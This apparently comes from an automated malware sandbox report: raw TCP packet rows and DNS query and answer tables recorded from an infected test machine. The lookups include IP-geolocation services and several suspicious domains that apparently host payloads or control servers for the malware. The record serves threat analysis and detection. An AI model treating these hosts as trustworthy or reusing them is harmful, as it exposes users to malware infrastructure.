May 24, 2024 13:42:05.129168987 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.133476019 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133512974 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133534908 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.133559942 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.133593082 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133631945 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.133699894 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133734941 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133781910 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.133831978 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133868933 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133902073 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.133912086 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.133935928 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.133955002 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134021044 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134066105 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134124041 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134223938 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134258986 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134269953 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134294987 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134298086 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134404898 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134545088 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134581089 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134588003 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134617090 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134627104 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134651899 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134653091 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134687901 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134732962 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134758949 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134793997 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134828091 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134833097 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134866953 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.134919882 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134954929 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134988070 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.134995937 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135123968 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135277987 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135313034 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135339022 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135348082 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135354996 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135384083 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135391951 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135418892 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135452986 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135461092 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135487080 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135520935 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135524988 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135556936 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135560036 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135591984 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135626078 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135659933 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135659933 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135682106 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135695934 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.135695934 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.135750055 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.136085033 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.136141062 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.136312962 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.136348963 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.136358023 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.136383057 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.136389017 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.136416912 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.136425018 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.136451960 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.136454105 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.136487007 CEST	80	49735	5.42.66.10	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 13:41:58.736690044 CEST	192.168.2.4	1.1.1.1	0x7fe5	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:41:59.459194899 CEST	192.168.2.4	1.1.1.1	0xc65d	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.021004915 CEST	192.168.2.4	1.1.1.1	0x31a8	Standard query (0)	f.alie3ksggg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.023578882 CEST	192.168.2.4	1.1.1.1	0x8120	Standard query (0)	fleur-de-lis.sbs	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.023825884 CEST	192.168.2.4	1.1.1.1	0x909f	Standard query (0)	vk.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.024419069 CEST	192.168.2.4	1.1.1.1	0x560f	Standard query (0)	monoblocked.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.027024031 CEST	192.168.2.4	1.1.1.1	0xf56b	Standard query (0)	lop.foxesjoy.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.029587030 CEST	192.168.2.4	1.1.1.1	0xefd4	Standard query (0)	kurd.computer	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:06.090187073 CEST	192.168.2.4	1.1.1.1	0x7f0f	Standard query (0)	f.123654987.xyz	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:10.316148996 CEST	192.168.2.4	1.1.1.1	0x1d2	Standard query (0)	sun6-23.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:12.240772963 CEST	192.168.2.4	1.1.1.1	0x2243	Standard query (0)	sun6-21.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:14.134764910 CEST	192.168.2.4	1.1.1.1	0x8cb2	Standard query (0)	sun6-20.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:14.147583008 CEST	192.168.2.4	1.1.1.1	0x407f	Standard query (0)	sun6-22.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:15.351459026 CEST	192.168.2.4	1.1.1.1	0x5dc2	Standard query (0)	psv4.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.563731909 CEST	192.168.2.4	1.1.1.1	0xf375	Standard query (0)	sta.alie3ksgee.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.737528086 CEST	192.168.2.4	1.1.1.1	0xd72b	Standard query (0)	iplis.ru	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.939964056 CEST	192.168.2.4	1.1.1.1	0x4619	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:23.907701015 CEST	192.168.2.4	1.1.1.1	0x6b71	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:24.396982908 CEST	192.168.2.4	1.1.1.1	0xd8dd	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:25.329176903 CEST	192.168.2.4	1.1.1.1	0x63e2	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:26.218477011 CEST	192.168.2.4	1.1.1.1	0xcdad	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:38.798094034 CEST	192.168.2.4	1.1.1.1	0x91cc	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:40.276320934 CEST	192.168.2.4	1.1.1.1	0xdf23	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:41.258162022 CEST	192.168.2.4	1.1.1.1	0x3157	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:41.258277893 CEST	192.168.2.4	1.1.1.1	0x6bd1	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 13:42:59.864177942 CEST	192.168.2.4	1.1.1.1	0x5f5c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:59.864226103 CEST	192.168.2.4	1.1.1.1	0xfe15	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
May 24, 2024 13:42:59.864362955 CEST	192.168.2.4	1.1.1.1	0x282d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:59.864444971 CEST	192.168.2.4	1.1.1.1	0xdd72	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
May 24, 2024 13:43:00.062514067 CEST	192.168.2.4	1.1.1.1	0xa134	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:00.062619925 CEST	192.168.2.4	1.1.1.1	0xe71	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
May 24, 2024 13:43:09.823163986 CEST	192.168.2.4	1.1.1.1	0xd9d8	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:26.465147972 CEST	192.168.2.4	1.1.1.1	0xe9af	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:27.133213043 CEST	192.168.2.4	1.1.1.1	0x598a	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:30.795703888 CEST	192.168.2.4	1.1.1.1	0x771d	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:31.614188910 CEST	192.168.2.4	1.1.1.1	0x5d1a	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:50.703507900 CEST	192.168.2.4	1.1.1.1	0x5cd0	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:51.463269949 CEST	192.168.2.4	1.1.1.1	0xcffd	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:54.544111967 CEST	192.168.2.4	1.1.1.1	0xd5a1	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:55.654764891 CEST	192.168.2.4	1.1.1.1	0x2b5	Standard query (0)	helsinki-dtc.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.181257010 CEST	192.168.2.4	1.1.1.1	0xa484	Standard query (0)	service-domain.xyz	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.426120996 CEST	192.168.2.4	1.1.1.1	0xf0a3	Standard query (0)	skrptfiles.tracemonitors.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:58.239442110 CEST	192.168.2.4	1.1.1.1	0x8f12	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:59.227184057 CEST	192.168.2.4	1.1.1.1	0xb195	Standard query (0)	service-domain.xyz	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:03.992994070 CEST	192.168.2.4	1.1.1.1	0x190a	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:05.186629057 CEST	192.168.2.4	1.1.1.1	0x7b16	Standard query (0)	helsinki-dtc.com	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:05.907489061 CEST	192.168.2.4	1.1.1.1	0x5319	Standard query (0)	api2.check-data.xyz	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:06.164122105 CEST	192.168.2.4	1.1.1.1	0x314c	Standard query (0)	skrptfiles.tracemonitors.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 13:41:58.749545097 CEST	1.1.1.1	192.168.2.4	0x7fe5	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
May 24, 2024 13:41:58.749545097 CEST	1.1.1.1	192.168.2.4	0x7fe5	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
May 24, 2024 13:41:58.749545097 CEST	1.1.1.1	192.168.2.4	0x7fe5	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
May 24, 2024 13:41:59.520314932 CEST	1.1.1.1	192.168.2.4	0xc65d	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.037081003 CEST	1.1.1.1	192.168.2.4	0x909f	No error (0)	vk.com		87.240.132.72	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.037081003 CEST	1.1.1.1	192.168.2.4	0x909f	No error (0)	vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.037081003 CEST	1.1.1.1	192.168.2.4	0x909f	No error (0)	vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.037081003 CEST	1.1.1.1	192.168.2.4	0x909f	No error (0)	vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.037081003 CEST	1.1.1.1	192.168.2.4	0x909f	No error (0)	vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.037081003 CEST	1.1.1.1	192.168.2.4	0x909f	No error (0)	vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.046776056 CEST	1.1.1.1	192.168.2.4	0xf56b	No error (0)	lop.foxesjoy.com		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.046776056 CEST	1.1.1.1	192.168.2.4	0xf56b	No error (0)	lop.foxesjoy.com		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.124320984 CEST	1.1.1.1	192.168.2.4	0x8120	No error (0)	fleur-de-lis.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.124320984 CEST	1.1.1.1	192.168.2.4	0x8120	No error (0)	fleur-de-lis.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.124372005 CEST	1.1.1.1	192.168.2.4	0xefd4	No error (0)	kurd.computer		146.70.56.165	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.195432901 CEST	1.1.1.1	192.168.2.4	0x560f	No error (0)	monoblocked.com		45.130.41.108	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:03.463880062 CEST	1.1.1.1	192.168.2.4	0x31a8	No error (0)	f.alie3ksggg.com		103.146.158.221	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:06.209733963 CEST	1.1.1.1	192.168.2.4	0x7f0f	No error (0)	f.123654987.xyz		37.221.125.202	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:10.340428114 CEST	1.1.1.1	192.168.2.4	0x1d2	No error (0)	sun6-23.userapi.com		95.142.206.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:12.250263929 CEST	1.1.1.1	192.168.2.4	0x2243	No error (0)	sun6-21.userapi.com		95.142.206.1	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:14.149590969 CEST	1.1.1.1	192.168.2.4	0x8cb2	No error (0)	sun6-20.userapi.com		95.142.206.0	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:14.161758900 CEST	1.1.1.1	192.168.2.4	0x407f	No error (0)	sun6-22.userapi.com		95.142.206.2	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:15.362945080 CEST	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	psv4.userapi.com	ps.userapi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:42:15.362945080 CEST	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	ps.userapi.com		87.240.137.134	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:15.362945080 CEST	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	ps.userapi.com		87.240.190.76	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:15.362945080 CEST	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	ps.userapi.com		87.240.137.140	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:15.362945080 CEST	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	ps.userapi.com		87.240.190.89	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.755139112 CEST	1.1.1.1	192.168.2.4	0xd72b	No error (0)	iplis.ru		172.67.147.32	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.755139112 CEST	1.1.1.1	192.168.2.4	0xd72b	No error (0)	iplis.ru		104.21.63.150	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.917445898 CEST	1.1.1.1	192.168.2.4	0xf375	No error (0)	sta.alie3ksgee.com		103.146.158.221	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:22.988177061 CEST	1.1.1.1	192.168.2.4	0x4619	No error (0)	steamcommunity.com		23.67.133.187	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:23.961076021 CEST	1.1.1.1	192.168.2.4	0x6b71	No error (0)	iplogger.org		172.67.132.113	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:23.961076021 CEST	1.1.1.1	192.168.2.4	0x6b71	No error (0)	iplogger.org		104.21.4.208	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:24.409286976 CEST	1.1.1.1	192.168.2.4	0xd8dd	No error (0)	api.2ip.ua		188.114.97.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:24.409286976 CEST	1.1.1.1	192.168.2.4	0xd8dd	No error (0)	api.2ip.ua		188.114.96.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:25.336817980 CEST	1.1.1.1	192.168.2.4	0x63e2	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:26.227694988 CEST	1.1.1.1	192.168.2.4	0xcdad	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:26.227694988 CEST	1.1.1.1	192.168.2.4	0xcdad	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:26.227694988 CEST	1.1.1.1	192.168.2.4	0xcdad	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:38.806296110 CEST	1.1.1.1	192.168.2.4	0x91cc	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:38.806296110 CEST	1.1.1.1	192.168.2.4	0x91cc	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:38.806296110 CEST	1.1.1.1	192.168.2.4	0x91cc	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:40.367333889 CEST	1.1.1.1	192.168.2.4	0xdf23	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:41.277606964 CEST	1.1.1.1	192.168.2.4	0x3157	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:41.282850027 CEST	1.1.1.1	192.168.2.4	0x6bd1	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 13:42:59.923377991 CEST	1.1.1.1	192.168.2.4	0xdd72	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
May 24, 2024 13:42:59.923412085 CEST	1.1.1.1	192.168.2.4	0xfe15	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
May 24, 2024 13:42:59.923440933 CEST	1.1.1.1	192.168.2.4	0x5f5c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:59.923440933 CEST	1.1.1.1	192.168.2.4	0x5f5c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:59.923468113 CEST	1.1.1.1	192.168.2.4	0x282d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:42:59.923468113 CEST	1.1.1.1	192.168.2.4	0x282d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:00.070614100 CEST	1.1.1.1	192.168.2.4	0xa134	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:00.070614100 CEST	1.1.1.1	192.168.2.4	0xa134	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:00.076049089 CEST	1.1.1.1	192.168.2.4	0xe71	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
May 24, 2024 13:43:00.473520041 CEST	1.1.1.1	192.168.2.4	0x29e0	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:43:00.473520041 CEST	1.1.1.1	192.168.2.4	0x29e0	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:09.830832958 CEST	1.1.1.1	192.168.2.4	0xd9d8	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:26.473273993 CEST	1.1.1.1	192.168.2.4	0xe9af	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:27.215565920 CEST	1.1.1.1	192.168.2.4	0x598a	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:27.215565920 CEST	1.1.1.1	192.168.2.4	0x598a	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:27.215565920 CEST	1.1.1.1	192.168.2.4	0x598a	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:30.882112980 CEST	1.1.1.1	192.168.2.4	0x771d	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:31.648562908 CEST	1.1.1.1	192.168.2.4	0x5d1a	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:31.648562908 CEST	1.1.1.1	192.168.2.4	0x5d1a	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:31.648562908 CEST	1.1.1.1	192.168.2.4	0x5d1a	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:50.715307951 CEST	1.1.1.1	192.168.2.4	0x5cd0	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:51.569495916 CEST	1.1.1.1	192.168.2.4	0xcffd	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:51.569495916 CEST	1.1.1.1	192.168.2.4	0xcffd	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:51.569495916 CEST	1.1.1.1	192.168.2.4	0xcffd	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:54.646603107 CEST	1.1.1.1	192.168.2.4	0xd5a1	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:43:54.646603107 CEST	1.1.1.1	192.168.2.4	0xd5a1	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:54.646603107 CEST	1.1.1.1	192.168.2.4	0xd5a1	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:55.662651062 CEST	1.1.1.1	192.168.2.4	0x2b5	No error (0)	helsinki-dtc.com		194.67.87.38	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.190917969 CEST	1.1.1.1	192.168.2.4	0xa484	No error (0)	service-domain.xyz		54.210.117.250	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.439486027 CEST	1.1.1.1	192.168.2.4	0xf0a3	No error (0)	skrptfiles.tracemonitors.com	d1u0l9f6kr1di3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:43:56.439486027 CEST	1.1.1.1	192.168.2.4	0xf0a3	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.29	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.439486027 CEST	1.1.1.1	192.168.2.4	0xf0a3	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.36	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.439486027 CEST	1.1.1.1	192.168.2.4	0xf0a3	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.49	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:56.439486027 CEST	1.1.1.1	192.168.2.4	0xf0a3	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.22	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:58.339360952 CEST	1.1.1.1	192.168.2.4	0x8f12	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:43:58.339360952 CEST	1.1.1.1	192.168.2.4	0x8f12	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
May 24, 2024 13:43:59.236565113 CEST	1.1.1.1	192.168.2.4	0xb195	No error (0)	service-domain.xyz		54.210.117.250	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:04.129789114 CEST	1.1.1.1	192.168.2.4	0x190a	No error (0)	www.rapidfilestorage.com	env-3936544.jcloud.kz		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:44:04.129789114 CEST	1.1.1.1	192.168.2.4	0x190a	No error (0)	env-3936544.jcloud.kz		185.22.66.16	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:04.129789114 CEST	1.1.1.1	192.168.2.4	0x190a	No error (0)	env-3936544.jcloud.kz		185.22.66.15	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:05.203401089 CEST	1.1.1.1	192.168.2.4	0x7b16	No error (0)	helsinki-dtc.com		194.67.87.38	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:05.944564104 CEST	1.1.1.1	192.168.2.4	0x5319	No error (0)	api2.check-data.xyz	checkdata-1114476139.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
